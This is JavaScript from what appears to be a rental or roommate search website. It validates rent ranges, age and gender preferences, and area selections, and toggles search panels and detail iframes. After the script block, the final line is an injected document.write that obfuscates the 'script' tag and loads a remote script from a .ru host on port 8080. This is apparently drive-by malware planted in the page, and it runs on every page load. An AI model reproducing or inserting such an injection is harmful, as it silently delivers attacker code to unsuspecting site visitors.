<script type="text/javascript">
// function to validate fields

function dovalid(){

		var errmsg='';
		var focuson;
		var chkstate=false;
		with (window.document.frmsimpleform){
		//if(!rdorentfor[0].checked && !rdorentfor[1].checked && !rdorentfor[2].checked)
		//{
		//		errmsg=errmsg +'\n'+captable[648];
		//		focuson = typeof(focuson)=="object" ? focuson : rdorentfor[0]; 
		//}
		
		//if(rdorentfor[0].checked){
			if(trim(txtminrent.value)==""){
					errmsg=errmsg +'\n'+captable[663];
					focuson = typeof(focuson)=="object" ? focuson : txtminrent; 
			}
			if(trim(txtmaxrent.value)==""){
					errmsg=errmsg +'\n'+captable[664];
					focuson = typeof(focuson)=="object" ? focuson : txtmaxrent; 
			}
		//}	
		
		if(trim(txtminrent.value)!="" && trim(txtmaxrent.value)!="") {
			if(!isnumeric(txtminrent.value)|| !isinteger(txtminrent.value)){
					errmsg=errmsg +'\n'+captable[665];
					focuson = typeof(focuson)=="object" ? focuson : txtminrent; 
			}
			if(!isnumeric(txtmaxrent.value)|| !isinteger(txtmaxrent.value)){
					errmsg=errmsg +'\n'+captable[666];
					focuson = typeof(focuson)=="object" ? focuson : txtmaxrent; 
			}
			if(parseInt(txtminrent.value) > parseInt(txtmaxrent.value)){  
		    	errmsg = errmsg + '\n'+captable[488];
			  	focuson = typeof(focuson)=="object" ? focuson : txtminrent;
			}
		}
		
		//if(rdorentfor[1].checked){
		//	if(trim(txtweekminrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[663];
		//			focuson = typeof(focuson)=="object" ? focuson : txtweekminrent; 
		//	}
		//	if(trim(txtweekmaxrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[664];
		//			focuson = typeof(focuson)=="object" ? focuson : txtweekmaxrent; 
		//	}
		// }	
		
		//if(trim(txtweekminrent.value)!="" &&  trim(txtweekmaxrent.value)!="") {
		//		if(!isnumeric(txtweekminrent.value)|| !isinteger(txtweekminrent.value)){
		//				errmsg=errmsg +'\n'+captable[665];
		//				focuson = typeof(focuson)=="object" ? focuson : txtweekminrent; 
		//		}
		//		if(!isnumeric(txtweekmaxrent.value)|| !isinteger(txtweekmaxrent.value)){
		//				errmsg=errmsg +'\n'+captable[666];
		//				focuson = typeof(focuson)=="object" ? focuson : txtweekmaxrent; 
		//		}
		//		if(parseInt(txtweekminrent.value) > parseInt(txtweekmaxrent.value)){  
		//    	errmsg = errmsg + '\n'+captable[488];
		//	  	focuson = typeof(focuson)=="object" ? focuson : txtweekminrent;
		//	}
		//}
			
		//if(rdorentfor[2].checked){
		//	if(trim(txtdayminrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[663];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdayminrent; 
		//	}
		//	if(trim(txtdaymaxrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[664];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdaymaxrent; 
		//	}
		//}	
		
		//if(trim(txtdayminrent.value)!="" && trim(txtdaymaxrent.value)!=""){
		// 	if(!isnumeric(txtdayminrent.value)|| !isinteger(txtdayminrent.value)){
		//			errmsg=errmsg +'\n'+captable[665];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdayminrent; 
		//	}
		//	if(!isnumeric(txtdaymaxrent.value)|| !isinteger(txtdaymaxrent.value)){
		//			errmsg=errmsg +'\n'+captable[666];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdaymaxrent; 
		//	}
		//	if(parseInt(txtdayminrent.value) > parseInt(txtdaymaxrent.value)){  
		//    	errmsg = errmsg + '\n'+captable[488];
		//	  	focuson = typeof(focuson)=="object" ? focuson : txtdayminrent;
		//	}
		//}
		if (chkdesiredarea.length == null){
			chkstate = chkdesiredarea.checked;
		} else {
			for (i=0; i<chkdesiredarea.length; i++){
				if (chkdesiredarea[i].checked){
					chkstate = true;
					break;
				}
			}
		}
		if(!chkstate){
				errmsg=errmsg +'\n'+captable[493];
				focuson = typeof(focuson)=="object" ? focuson : chkselectall;
		}
		
		if(errmsg != ''){	
			alert(errmsg);
			focuson.focus();
			//return false;
		}
		else
		{
			return true;
		}
	}
}

//function to advanced search

function dovalid3(){

		var errmsg='';
		var focuson;
		var chkstate=false;
		with (window.document.frmadvancedform){
		//if(!rdorentfor[0].checked && !rdorentfor[1].checked && !rdorentfor[2].checked)
		//{
		//		errmsg=errmsg +'\n'+captable[648];
		//		focuson = typeof(focuson)=="object" ? focuson : rdorentfor[0]; 
		//}
		
		//if(rdorentfor[0].checked){
			if(trim(txtminrent.value)==""){
					errmsg=errmsg +'\n'+captable[663];
					focuson = typeof(focuson)=="object" ? focuson : txtminrent; 
			}
			if(trim(txtmaxrent.value)==""){
					errmsg=errmsg +'\n'+captable[664];
					focuson = typeof(focuson)=="object" ? focuson : txtmaxrent; 
			}
		//}	
		
		if(trim(txtminrent.value)!="" && trim(txtmaxrent.value)!="") {
			if(!isnumeric(txtminrent.value)|| !isinteger(txtminrent.value)){
					errmsg=errmsg +'\n'+captable[665];
					focuson = typeof(focuson)=="object" ? focuson : txtminrent; 
			}
			if(!isnumeric(txtmaxrent.value)|| !isinteger(txtmaxrent.value)){
					errmsg=errmsg +'\n'+captable[666];
					focuson = typeof(focuson)=="object" ? focuson : txtmaxrent; 
			}
			if(parseInt(txtminrent.value) > parseInt(txtmaxrent.value)){  
		    	errmsg = errmsg + '\n'+captable[488];
			  	focuson = typeof(focuson)=="object" ? focuson : txtminrent;
			}
		}
		
		//if(rdorentfor[1].checked){
		//	if(trim(txtweekminrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[663];
		//			focuson = typeof(focuson)=="object" ? focuson : txtweekminrent; 
		//	}
		//	if(trim(txtweekmaxrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[664];
		//			focuson = typeof(focuson)=="object" ? focuson : txtweekmaxrent; 
		//	}
		// }	
		
		//if(trim(txtweekminrent.value)!="" &&  trim(txtweekmaxrent.value)!="") {
		//		if(!isnumeric(txtweekminrent.value)|| !isinteger(txtweekminrent.value)){
		//				errmsg=errmsg +'\n'+captable[665];
		//				focuson = typeof(focuson)=="object" ? focuson : txtweekminrent; 
		//		}
		//		if(!isnumeric(txtweekmaxrent.value)|| !isinteger(txtweekmaxrent.value)){
		//				errmsg=errmsg +'\n'+captable[666];
		//				focuson = typeof(focuson)=="object" ? focuson : txtweekmaxrent; 
		//		}
		//		if(parseInt(txtweekminrent.value) > parseInt(txtweekmaxrent.value)){  
		//    	errmsg = errmsg + '\n'+captable[488];
		//	  	focuson = typeof(focuson)=="object" ? focuson : txtweekminrent;
		//	}
		//}
			
		//if(rdorentfor[2].checked){
		//	if(trim(txtdayminrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[663];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdayminrent; 
		//	}
		//	if(trim(txtdaymaxrent.value)==""){
		//			errmsg=errmsg +'\n'+captable[664];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdaymaxrent; 
		//	}
		//}	
		
		//if(trim(txtdayminrent.value)!="" && trim(txtdaymaxrent.value)!=""){
		// 	if(!isnumeric(txtdayminrent.value)|| !isinteger(txtdayminrent.value)){
		//			errmsg=errmsg +'\n'+captable[665];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdayminrent; 
		//	}
		//	if(!isnumeric(txtdaymaxrent.value)|| !isinteger(txtdaymaxrent.value)){
		//			errmsg=errmsg +'\n'+captable[666];
		//			focuson = typeof(focuson)=="object" ? focuson : txtdaymaxrent; 
		//	}
		//	if(parseInt(txtdayminrent.value) > parseInt(txtdaymaxrent.value)){  
		//    	errmsg = errmsg + '\n'+captable[488];
		//	  	focuson = typeof(focuson)=="object" ? focuson : txtdayminrent;
		//	}
		//}
		if(preferedlanguage.selectedIndex==0){
			errmsg=errmsg +'\n'+captable[484];
			focuson = typeof(focuson)=="object" ? focuson : preferedlanguage;
		}
		if (chkdesiredarea.length == null){
			chkstate = chkdesiredarea.checked;
		} else {
			for (i=0; i<chkdesiredarea.length; i++){
				if (chkdesiredarea[i].checked){
					chkstate = true;
					break;
				}
			}
		}
		if(!chkstate){
				errmsg=errmsg +'\n'+captable[493];
				focuson = typeof(focuson)=="object" ? focuson : chkselectall;
		}
		if(cbogender.selectedIndex==0){
							errmsg=errmsg +'\n'+captable[469];
							focuson = typeof(focuson)=="object" ? focuson : cbogender; 
					
		}
		if(cboage.selectedIndex==0){
							errmsg=errmsg +'\n'+captable[470];
							focuson = typeof(focuson)=="object" ? focuson : cboage; 
					
		}
		var minage, maxage;
				
		minage = cbopreferminage.options[cbopreferminage.selectedIndex].value;
		maxage = cboprefermaxage.options[cboprefermaxage.selectedIndex].value;
				
		if(minage == "" || maxage == ""){
			if(minage == ""){
					errmsg = errmsg + '\n'+captable[472];
					focuson = typeof(focuson)=="object" ? focuson : cbopreferminage;
			}
			if(maxage == ""){  
			    errmsg = errmsg + '\n'+captable[473];
			    focuson = typeof(focuson)=="object" ? focuson : cboprefermaxage;
			}
	 }	
	 else{	
			if(parseInt(minage) > parseInt(maxage)){  
		    	errmsg = errmsg + '\n'+captable[474];
			  	focuson = typeof(focuson)=="object" ? focuson : cbopreferminage;
			}
		}
		if(errmsg != ''){	
			alert(errmsg);
			focuson.focus();
			//return false;
		}
		else
		{
			return true;
		}
	}
}

// function to select areas

function selectall(formname){
		var frm=eval("window.document."+formname);
		with(frm){
			if (chkdesiredarea.length == null){
				chkdesiredarea.checked = chkselectall.checked;
			} else {
				for (i=0; i<chkdesiredarea.length; i++){
					chkdesiredarea[i].checked = chkselectall.checked;
				}
			}
		}
	}
		
// function to move to result page

function gosavepage(path,type) {
	if(type==1){
		with (window.document.frmsimpleform){
			  if(dovalid()){
					action=path;
		 			submit();
		 		}
		}
	}else if(type==2){
		with (window.document.frmadvancedform){
				  if(dovalid3()){
						action=path;
			 			submit();
			 		}
		}
	}else if(type==3){
		with (window.document.frmsimpleform){
			searchoption.value=window.document.frmsortby.searchoption.value;
			cbosortby.value=window.document.frmsortby.cbosortby.options[window.document.frmsortby.cbosortby.selectedIndex].value;
			action=path;
			submit();
		}
	}
}

function rentclick()
{
	with (window.document.frmresultsrooms){
	rent_range_box.checked=true;
}	
}	

// function to view listing details

function okclick(path)
{
	with (window.document.frmsearchid){
		if(trim(listingid.value)=='' || trim(listingid.value)==captable[603]){
			alert(captable[607]);
			listingid.focus();
		}	
		else
			window.location=path+"&code="+listingid.value;
	}
}


function get(id){
	return document.getElementById(id);	
}

function funcHide(button,elemToHide){
	if(get(button).innerHTML == '-'){
		get(elemToHide).style.display="none";
		get(button).innerHTML = '+';
	}else if(get(button).innerHTML == '+'){
		get(elemToHide).style.display="";
		get(button).innerHTML = '-';
	}
}

function funcHide_str(button,elemToHide){
	if(get(elemToHide).style.display==""){
		get(elemToHide).style.display="none";
	}else if(get(elemToHide).style.display=="none"){
		get(elemToHide).style.display="";
	}
}


function changeSearchCreteria(type){
	if(type==1){
		if(get('simplecriteria').style.display==""){
			get('simplecriteria').style.display="none";
			get('advancedcriteria').style.display="none";
			get('plus').innerHTML = '+';
		}else if(get('simplecriteria').style.display=="none"){
			get('simplecriteria').style.display="";
			get('simple').style.display="";
			get('advanced').style.display="none";
			get('advancedcriteria').style.display="none";
			get('plus').innerHTML = '-';
			get('plus1').innerHTML = '+';
		}
	}else if(type==2){
		if(get('advancedcriteria').style.display==""){
			get('advancedcriteria').style.display="none";
			get('simplecriteria').style.display="";
			get('searchidcriteria').style.display="none";
			get('nosearchcriteria').style.display="";
			get('simplebutton').style.display="";
			get('simplebutton2').style.display="";
			get('adLabel').innerHTML = "<%=adLabeljs1%>"; //'Advanced Search';
		}else if(get('advancedcriteria').style.display=="none"){
			get('advancedcriteria').style.display="";
			get('searchidcriteria').style.display="";
			get('nosearchcriteria').style.display="none";
			//get('simple').style.display="none";
			//get('advanced').style.display="";
			get('simplecriteria').style.display="none";
			get('simplebutton').style.display="none";
			get('simplebutton2').style.display="none";
			get('adLabel').innerHTML = "<%=adLabeljs2%>"; //'Return To Simple Search';
		}
	}	
}

function dovalid1(){
		var errmsg='';
		var focuson;
		with (window.document.frmresultsdetail){
			 if(!(isemail(trim(txtemail.value)))){
					errmsg=captable[481];
					focuson = typeof(focuson)=="object" ? focuson : txtemail ; 
			 }
		if(errmsg != ''){	
			alert(errmsg);
			focuson.focus();
		  return false;
		}
		else
		{
			return true;
		}
	}
}
			 
// function to send profile

function sendprofile(path){
		with(window.document.frmresultsdetail){
			if(dovalid1()){
				action=path;
				submit();
		}
	}			
}

// function to display popup after sending profile

function confirmsend(path){
		alert(captable[618]);
		window.location=path;
}

//function to display iframe

function viewaddetail(frompath){
	with(window.document.frmresultsrooms){
		document.getElementById('viewdetail').src=frompath;
		document.getElementById('viewdetail').style.display='';
	    document.getElementById('viewdetailanchor').style.display='';
		document.getElementById('viewdetailanchor2').style.display='';
	    document.getElementById('updatelink').style.display='';
	}
	window.location.href="#detailframe";	
}

function viewaddetail2(frompath){
	with(window.parent.document.frmresultsrooms){
		parent.document.getElementById('viewdetail').src=frompath;
		parent.document.getElementById('viewdetail').style.display='';
	    parent.document.getElementById('viewdetailanchor').style.display='';
		parent.document.getElementById('viewdetailanchor2').style.display='';
		parent.document.getElementById('updatelink').style.display='';
	}
	//window.parent.location.href="#detailframe";	
    window.parent.scrollTo(0, 878);
}

//function to hide iframe

function hideaddetail(){
	with(window.document.frmresultsrooms){
		document.getElementById('viewdetail').style.display='none';
		document.getElementById('viewdetail').src='';
		document.getElementById('viewdetailanchor').style.display='none';
		document.getElementById('viewdetailanchor2').style.display='none';
		document.getElementById('updatelink').style.display='none';
	}	
}
</script>
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Java.js"></scr'+'ipt>');